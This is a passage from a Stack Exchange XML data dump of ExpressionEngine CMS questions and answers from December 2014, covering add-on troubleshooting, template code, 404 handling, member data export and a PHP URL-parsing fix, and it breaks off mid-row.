  <row Id="27111" PostTypeId="1" AcceptedAnswerId="31404" CreationDate="2014-12-11T02:28:57.780" Score="0" ViewCount="81" Body="&lt;p&gt;Has there been any other updates to the performance issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a site which has over 100 matrix rows per entry (with 4 columns per row) and saving times are abysmal (can be over 120 seconds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand P&amp;amp;T is working full tilt on Craft, I just wish there was some love shown to EE Matrix :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar and unanswered questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3558/long-open-save-for-entries-with-10-column-matrix-fields/27109#27109&quot;&gt;Long open/save for entries with 10-column Matrix fields&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17531/matrix-is-killing-my-load-times-how-can-i-speed-it-up&quot;&gt;Matrix is killing my load times - How can I speed it up&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17267/cause-of-massive-performance-issues-after-ee-upgrade-2-5-2-to-2-7-2&quot;&gt;Cause of Massive Performance Issues after EE Upgrade 2.5.2 to 2.7.2?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any help would be welcomed :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My specs&#xA;&#xA;matrix 2.6.1&#xA;ExpressionEngine 2.9.2 Build 20141004&#xA;jQuery  1.7.2&#xA;MySQL   5.6.21-log&#xA;Server  Microsoft-IIS/8.0&#xA;&#xA;PHP 5.6.3&#xA;register_globals    off&#xA;safe_mode   off&#xA;open_basedir    &#xA;max_execution_time  300&#xA;upload_max_filesize 50M&#xA;max_input_time  900&#xA;memory_limit    128M&#xA;session_save_path   writable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3866" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-05-08T23:08:18.727" Title="Performance Issues with Matrix" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27112" PostTypeId="2" ParentId="27103" CreationDate="2014-12-11T08:40:28.793" Score="0" Body="&lt;p&gt;What is the HTTP Status code? 500?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be related to a bug on 2.9.0&#xA;See here for a fix: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20471/site-index-template-is-rendered-after-the-404-template&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20471/site-index-template-is-rendered-after-the-404-template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3516" LastActivityDate="2014-12-11T08:40:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27113" PostTypeId="2" ParentId="27090" CreationDate="2014-12-11T08:42:55.070" Score="0" Body="&lt;p&gt;A workaround would be to assign each channel a category and then base the url slugs on that in the search result output.&lt;/p&gt;&#xA;" OwnerUserId="3516" LastActivityDate="2014-12-11T08:42:55.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27114" PostTypeId="1" AcceptedAnswerId="27157" CreationDate="2014-12-11T11:17:47.540" Score="0" ViewCount="249" Body="&lt;p&gt;I have been trying to add a channel field where I can allow the user to upload files with ease especially PDF files. I just bought the &quot;Channel Files&quot; module but I cannot get it to work for me. The problem is that I cannot see the files on the page where i'm trying to upload the files. It seems to work perfectly fine on the publishing page and I am able to upload files there. I think I just didn't get the code right on the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;div class=&quot;files&quot;&amp;gt;&#xA;     {exp:channel_files:files channel=&quot;news&quot; field=&quot;section&quot;}&#xA;     &amp;lt;a href=&quot;{file:title}&quot;&amp;gt;{file:title}&amp;lt;/a&amp;gt;&#xA;     {/exp:channel_files:files}&#xA;     &amp;lt;/div&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-12-16T03:25:53.113" Title="Can't get channel files to work" Tags="|ee2|file-uploads|devdemon|channel-files|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27115" PostTypeId="1" CreationDate="2014-12-11T11:18:02.273" Score="0" ViewCount="76" Body="&lt;p&gt;I am using Assets to manage documents associated with entries, but each entry will have sub-folders. Categories for each document. I am hoping to show a folder navigation on the front end to click the sub-folder, then even another, then list files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create the folder hierarchy in Assets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead of uploading/linking files to an entry, all I need to do is link the Assets folder. Can I do this in Assets? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of is make sure to name the folders the same as the entry url title so we can grab the correct folder, but thats open to mistakes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2014-12-11T14:33:07.997" LastActivityDate="2015-12-09T13:30:52.050" Title="Can I link an entry to an Assets folder, instead of adding files?" Tags="|assets|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27116" PostTypeId="1" CreationDate="2014-12-11T11:59:04.820" Score="0" ViewCount="253" Body="&lt;p&gt;I have set the 404 page on Templates &gt; Global Template Preferences, but it is having no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to turn on 'Enable Strict URLs' as it cause several problems on some pages.&#xA;And anyway, I don't mind if &lt;a href=&quot;http://www.domain.com/product/not-the-right-url&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/product/not-the-right-url&lt;/a&gt; defaults to /product, or the last channel entry in /product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do want is that &lt;a href=&quot;http://www.domain.com/not-the-right-directory&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/not-the-right-directory&lt;/a&gt; defaults to the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the setting in Global Template Preferences is having no effect on the site. All that happens is that you see the home page if you type in the wrong URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running EE 2.9.0 on a Plesk 12.0.18 Apache Server.&lt;/p&gt;&#xA;" OwnerUserId="3872" LastActivityDate="2017-10-06T10:17:32.613" Title="404 not working - must not have strict URLs" Tags="|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27118" PostTypeId="1" CreationDate="2014-12-11T13:12:54.057" Score="0" ViewCount="126" Body="&lt;p&gt;Referring to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/template_access.html#http-authentication&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/design/templates/template_access.html#http-authentication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now a failed or canceled authentication redirects to the standard server 401 page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to have this redirect to a specific url?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-07-31T16:52:52.680" Title="Any way to have the default HTTP Authentication redirect to a template when user fails to authenticate?" Tags="|authentication|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27119" PostTypeId="2" ParentId="27103" CreationDate="2014-12-11T13:46:48.113" Score="1" Body="&lt;p&gt;By default, Minimee tries to fetch &quot;remote&quot; assets using cURL; if you find that your server setup somehow doesn't like this, you can try configuring Minimee to use file_get_contents() as an alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible for Minimee (or PHP more specifically) to access those assets via the filesystem, then you can try to &quot;map&quot; the external URL to the physical location, with a combination of setting your base_path and base_urls. You can pass these as tags rather than global configs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:minimee:js&#xA;    base_path=&quot;/path/to/www.remotesite.tld&quot;&#xA;    base_url=&quot;http://www.remotesite.tld&quot;}&#xA;    ...&#xA;{/exp:minimee:js}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With that set, when Minimee encounters that remotesite URL, it will replace it with the base path, and then attempt to fetch their contents.&lt;/p&gt;&#xA;" OwnerUserId="486" LastEditorUserId="486" LastEditDate="2014-12-12T21:28:08.970" LastActivityDate="2014-12-12T21:28:08.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27120" PostTypeId="2" ParentId="27114" CreationDate="2014-12-11T13:52:59.387" Score="0" Body="&lt;p&gt;The channel files tag pair displays the files associated with a specific entry, so for troubleshooting purposes, have you tried to remove all of the parameters to see what the tag pair returns? If you do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_files:files}&#xA; &amp;lt;a href=&quot;{file:url}&quot;&amp;gt;{file:title}&amp;lt;/a&amp;gt;&#xA;{/exp:channel_files:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you get anything within your template (I'm ignoring for the moment any possibility that you have multiple channel file fields within your channel)?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-12-11T13:52:59.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27121" PostTypeId="2" ParentId="27115" CreationDate="2014-12-11T14:32:34.710" Score="1" Body="&lt;p&gt;I could not find a solution, so I wrote a fieldtype that allows linking an entry to an Assets folder. You can now create multiple folders and sub-folders, then link an entry to different parent folders, then using Asset tags retrieve the sub-folder list based on the entry's asset folder id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/amityweb/assets_folder&quot; rel=&quot;nofollow&quot;&gt;https://github.com/amityweb/assets_folder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-12-11T14:32:34.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27122" PostTypeId="1" CreationDate="2014-12-11T15:23:14.807" Score="0" ViewCount="256" Body="&lt;p&gt;For some reason my channel entry stopped working on homepage (index.html) template. I am calling the same channel entries in the header and footer and I am completely stumped as to why it stopped working. Any ideas what the issue is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I just took another look at code in embed header, head and footer and anything in channel entry &lt;code&gt;{exp:structure:entries channel=&quot;pages&quot;}&lt;/code&gt; is not being called, however working on all other pages and templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ANSWER&lt;/strong&gt;: The issue was caused because &quot;Make Entry Sticky&quot; was unchecked. By checking that, all of my entry data outputted correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a look at code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/head&quot;}&#xA;{embed=&quot;embeds/header&quot;}&#xA;&#xA;        &amp;lt;!-- START Main Content --&amp;gt;&#xA;        &amp;lt;div class=&quot;main-container col2-left-layout&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;main&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-main&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;visual-area&quot;&amp;gt;&#xA;                        {exp:channel:entries channel=&quot;pages&quot;}&#xA;                            {homepage_main_images}&#xA;                            &amp;lt;article class=&quot;visual-box {if &quot;{color}&quot; == &quot;Orange&quot;}orange-box{/if} {if &quot;{color}&quot; == &quot;Light Blue&quot;}blue-box{/if}&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{site_url}store/index.php/door-machinery.html&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;product-img-box&quot;&amp;gt;&#xA;                                        &amp;lt;p class=&quot;product-image&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; height=&quot;561&quot; width=&quot;307&quot; alt=&quot;{alt}&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                                        &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                                            &amp;lt;p&amp;gt;{content}&amp;lt;/p&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;header class=&quot;head&quot;&amp;gt;&#xA;                                        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                                    &amp;lt;/header&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/article&amp;gt;&#xA;                            {/homepage_main_images}&#xA;                        {/exp:channel:entries}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {embed=&quot;embeds/sidebar_nav_left&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- END Main Content --&amp;gt;&#xA;&#xA;{embed=&quot;embeds/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2014-12-11T17:30:42.090" LastActivityDate="2014-12-11T17:30:42.090" Title="Channel entry not showing up on homepage" Tags="|templates|entry|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27123" PostTypeId="1" AcceptedAnswerId="27124" CreationDate="2014-12-11T16:11:47.707" Score="0" ViewCount="46" Body="&lt;p&gt;Question has nothing to do with the product download tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I enable a member to download their order information without access to the CP? Just like the report generation in the Store CP, but I want to do this on a member level on a per order basis on the front-end of the website when the member is logged in.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2015-06-10T18:17:42.103" Title="Store: Member has ability to download order information" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27124" PostTypeId="2" ParentId="27123" CreationDate="2014-12-11T17:14:01.683" Score="1" Body="&lt;p&gt;The quickest and probably one of the easiest ways is to use an add-on like &lt;a href=&quot;http://dvt.ee/pdfprss&quot; rel=&quot;nofollow&quot;&gt;PDF Press&lt;/a&gt; to easily create a PDF for download using the Store Orders tag pair. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-12-12T16:20:56.987" LastActivityDate="2014-12-12T16:20:56.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27125" PostTypeId="1" CreationDate="2014-12-11T19:09:06.190" Score="0" ViewCount="214" Body="&lt;p&gt;Transcribe language switcher is only showing English even though I have 2 other languages enabled. I am using this code directly from the docs with minor changes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        {exp:transcribe:language_links show_all=&quot;yes&quot;}&#xA;                    &amp;lt;ul class=&quot;pull-right list-inline&quot;&amp;gt;&#xA;                        &amp;lt;li&amp;gt;{exp:transcribe:replace name=&quot;select_language&quot;}&amp;lt;/li&amp;gt;&#xA;&#xA;                        {languages}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot; class=&quot;{if current}active {/if}text-uppercase&quot;&amp;gt;{abbreviation}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/languages}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                {/exp:transcribe:language_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only shows EN :( should show EN DE ZH. Anyone ever run into this?&lt;/p&gt;&#xA;" OwnerUserId="3565" LastActivityDate="2015-02-09T21:19:04.333" Title="Transcribe language switcher only showing one language" Tags="|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27126" PostTypeId="2" ParentId="27125" CreationDate="2014-12-11T19:18:51.127" Score="1" Body="&lt;p&gt;The language switcher will not show the additional languages until you save a variable set. In transcribe go to variables and change to another language and add at least one variable and save. Your language will now show in the switcher :)&lt;/p&gt;&#xA;" OwnerUserId="3565" LastActivityDate="2014-12-11T19:18:51.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27128" PostTypeId="1" CreationDate="2014-12-11T21:05:16.903" Score="0" ViewCount="370" Body="&lt;p&gt;I am new in expressionengine, and getting the following error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected T_STRING in /var/www/system/expressionengine/libraries/Functions.php(680) : eval()'d code on line 153&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who know is this a security vulnerability ? Is there possible php code injection ?&lt;/p&gt;&#xA;" OwnerUserId="3875" LastActivityDate="2014-12-11T21:05:16.903" Title="expressionengine 2.5.2 - Parse error: syntax error, unexpected T_STRING in" Tags="|templates|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27129" PostTypeId="1" CreationDate="2014-12-12T06:55:27.593" Score="0" ViewCount="72" Body="&lt;p&gt;I want public users to have the possibilty to &quot;order&quot; a file (that is already on the webpage/server) through a form. After the form has been submitted successfully, an email should be sent to the entered user email with the file that has been ordered. Payment is not necessary! It's only about the sending process!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching a way to do it with an addon, but can't find one. Postmaster, Firemail, Forms, Freeform - all those are great tools for building forms, or sending mails - but no possibility to easy handling file attachements? Is there any other? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might it be a solution to use PHP-Code within the &quot;FormSubmitSuccessful&quot;-Template and do it &quot;on the fly&quot; with phpmailer, for instance? Any other possible solutions?&lt;/p&gt;&#xA;" OwnerUserId="3125" LastActivityDate="2014-12-12T16:42:10.817" Title="Request file through email" Tags="|php|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27130" PostTypeId="2" ParentId="27129" CreationDate="2014-12-12T07:45:36.863" Score="0" Body="&lt;p&gt;You could do this with freeform: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-12-12T07:45:36.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27131" PostTypeId="1" CreationDate="2014-12-12T10:55:27.610" Score="0" ViewCount="77" Body="&lt;p&gt;I am using the Add-On &lt;em&gt;ajw_export&lt;/em&gt; and &lt;em&gt;Low Variables&lt;/em&gt; to export a csv of member details.  When the page loads the member data is exported on page load. I would like to use Low Variables for early parsing, to allow the system to know which member group is trying to access the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im having two issues, either the content is exported regardless of which member group is logged in or else nothing is exported. Im certain I have written the tags incorrectly. Any help would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;               `{exp:low_variables:parse var=&quot;gv_member_export&quot; multiple=&quot;yes&quot;}&#xA;&#xA;                    {if logged_in_group_id == 1}&#xA;&#xA;                        {exp:ajw_export sql=&quot;SELECT * FROM exp_member_data&quot; format=&quot;csv&quot; filename=&quot;ascertusers.csv&quot; }&#xA;&#xA;                    {if:else}&#xA;&#xA;                        Theres Nothing here for you to see&#xA;&#xA;                    {/if}&#xA;&#xA;                {/exp:low_variables:parse}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-12-12T13:04:30.633" Title="Early Parsing with Low Variables and Member Export" Tags="|members|low-variables|export|low|parsing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27132" PostTypeId="2" ParentId="22363" CreationDate="2014-12-12T10:57:30.957" Score="1" Body="&lt;p&gt;In case any others might be struggling with this annoying problem: it's a compatibility issue, get the latest Field Pack (2.2) and everything works as it should :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Field Pack Changelog lists the following updates for Content Elements support:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Added support for {element_name} tags within Content Elements. &lt;/li&gt;&#xA;&lt;li&gt;Fixed compatibility issues iwth Content Elements.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/changelog.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/fieldpack/changelog.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-12-12T10:57:30.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27133" PostTypeId="2" ParentId="27131" CreationDate="2014-12-12T12:25:17.673" Score="1" Body="&lt;p&gt;If I understand correctly, you only want to execute the exp:ajw_export tag if the logged in member ID is 1. For this, you don't need the low_variables:parse tag. Instead, in the Low Variables settings, make sure &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/settings#early-parsed-member-data&quot; rel=&quot;nofollow&quot;&gt;Early Parsed Member Data is set to Yes&lt;/a&gt;. Then use (simple, pre EE2.9) conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == 1}&#xA;    {exp:ajw_export sql=&quot;SELECT * FROM exp_member_data&quot; format=&quot;csv&quot; filename=&quot;ascertusers.csv&quot;}&#xA;{/if}&#xA;{if logged_in_group_id != 1}&#xA;    There's Nothing here for you to see&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The LV tag syntax you're using makes early parsing irrelevant. Also, the &lt;code&gt;multiple=&quot;yes&quot;&lt;/code&gt; parameter only applies &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/tags#parse-tag&quot; rel=&quot;nofollow&quot;&gt;to a number of variable types&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-12-12T12:25:17.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27134" PostTypeId="2" ParentId="27108" CreationDate="2014-12-12T12:46:07.767" Score="1" Body="&lt;p&gt;You could use CSS rules that override the rules applied to the Tag widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use the Tag widget, you could have a simple textarea form with &lt;code&gt;name=&quot;your_tag_field_name&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;&amp;lt;textarea name=&quot;your_tag_field_name&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This lets you customize the form field the way you want (eg. make it responsive). Each tag would have to be on their own line in this case.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-12T12:46:07.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27135" PostTypeId="2" ParentId="27131" CreationDate="2014-12-12T13:04:30.633" Score="0" Body="&lt;p&gt;Resolved: Using the tags provided by low and by placing the ajw_export on to a separate template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {if logged_in_group_id == 1}&#xA;                    &amp;lt;a href=&quot;template_group/template_name&quot; class=&quot;button_export&quot;&amp;gt;Download&amp;lt;/a&amp;gt; &#xA;                {/if}&#xA;                {if logged_in_group_id != 1}&#xA;                    There's Nothing here for you to see&#xA;                {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-12-12T13:04:30.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27136" PostTypeId="2" ParentId="27129" CreationDate="2014-12-12T16:42:10.817" Score="1" Body="&lt;p&gt;I don't know of any add-ons that will attach the file to send attached to the email itself, having said that the easiest solution would be to use FreeForm or similar add-ons to collect the users information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your FreeForm user email template you would add a link to the file on your server or a download page that would allow the user to download the attached file.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-12-12T16:42:10.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27139" PostTypeId="1" CreationDate="2014-12-13T18:46:42.040" Score="0" ViewCount="54" Body="&lt;p&gt;(I am using Structure module version 3.3.6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey guys! &#xA;    I have made this structure so far : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home -&gt; Products -&gt; Commercial furniture -&gt; Showcase counters&#xA;So showcase counters is a sibling of commercial furniture, which the last one is a sibling of products, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now when I am on my showcase counters page, the url looks like this : &#xA;&lt;a href=&quot;http://www.my-web-site.com/products/commercial-furniture/showcase-counters&quot; rel=&quot;nofollow&quot;&gt;http://www.my-web-site.com/products/commercial-furniture/showcase-counters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my showcase counters page, I created channel of my products but this is where I am stuck, how can I get on my product page with this kind of url :&#xA;[...]/products/commercial-furniture/showcase-counters/product-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this in my showcase counters page : &#xA;{exp:channel:entries channel=&quot;products&quot; [...]}&#xA;[...]&#xA;a href=&quot;{title_permalink='/products/commercial-furniture/showcase-counters/'}&quot;&gt;{product_name}&#xA;[...]&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I created this href, I get the right URL but is there any way to tell which template to use? Cause right now I got this url :&#xA;[...]/products/commercial-furniture/showcase-counters/product-1&#xA;which is exactly what I want but I can't find where to put a specific template... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve this? Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="3861" LastActivityDate="2016-06-09T03:22:15.363" Title="Structure module - How to display a dynamic page for all my products" Tags="|channel|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27140" PostTypeId="2" ParentId="26229" CreationDate="2014-12-14T02:24:05.913" Score="1" Body="&lt;p&gt;I think it's to prevent loading the installer interface if there's an 'installer' folder. But may not affect newer EE versions?&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-12-14T02:24:05.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27141" PostTypeId="1" CreationDate="2014-12-14T10:45:10.627" Score="0" ViewCount="95" Body="&lt;p&gt;I'd like to offer &quot;buy 2 get 1 free&quot; on my site which sells CDs. So if people put more than two items in their cart, the cheapest is free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &quot;Buy X get Y&quot; discount type, I can only seem to get this to work if they buy three of the same product, but if they buy three different ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in Expresso? Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2016-05-24T02:49:34.223" Title="Buy 2 get 1 free across all products in Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27143" PostTypeId="1" CreationDate="2014-12-15T00:03:01.177" Score="1" ViewCount="314" Body="&lt;p&gt;I'm using Transcribe to create multiple language sites and also using relationship fields on some of my channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the relationship field on the publish screen shows all entries from the related channel, regardless of which language site it belongs too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't ideal as on the publish page there is no way to tell what language those entries belong too, and you could accidentally relate entries that belong to another language site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any ideas on a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Darren&lt;/p&gt;&#xA;" OwnerUserId="3858" LastActivityDate="2015-03-16T02:39:16.987" Title="Transcribe with Relationship fields" Tags="|relationships|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27144" PostTypeId="2" ParentId="19974" CreationDate="2014-12-15T00:19:44.987" Score="0" Body="&lt;p&gt;In case anyone else stumbles on this looking for an answer, when upgrading isn't possible, change line 328:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parse_str(parse_url(@$_SERVER['HTTP_REFERER'], PHP_URL_QUERY), $get);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parse_str(parse_url(parse_url(@$_SERVER['HTTP_REFERER'], PHP_URL_QUERY), PHP_URL_QUERY), $get);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URLs in 2.8 add an additional &quot;?&quot; to the query string (e.g. &quot;/system/index.php?/cp/content_publish/entry_form?channel_id=22&quot;) because of this the &lt;code&gt;parse_url&lt;/code&gt; function doesn't properly parse the URL and thus creates issues for the rest of the &lt;code&gt;cp_js_end&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth noting is that line 432 should also be updated to work with the new input field format (i.e. the removal of the ID attribute).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change line 432 from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$out .= 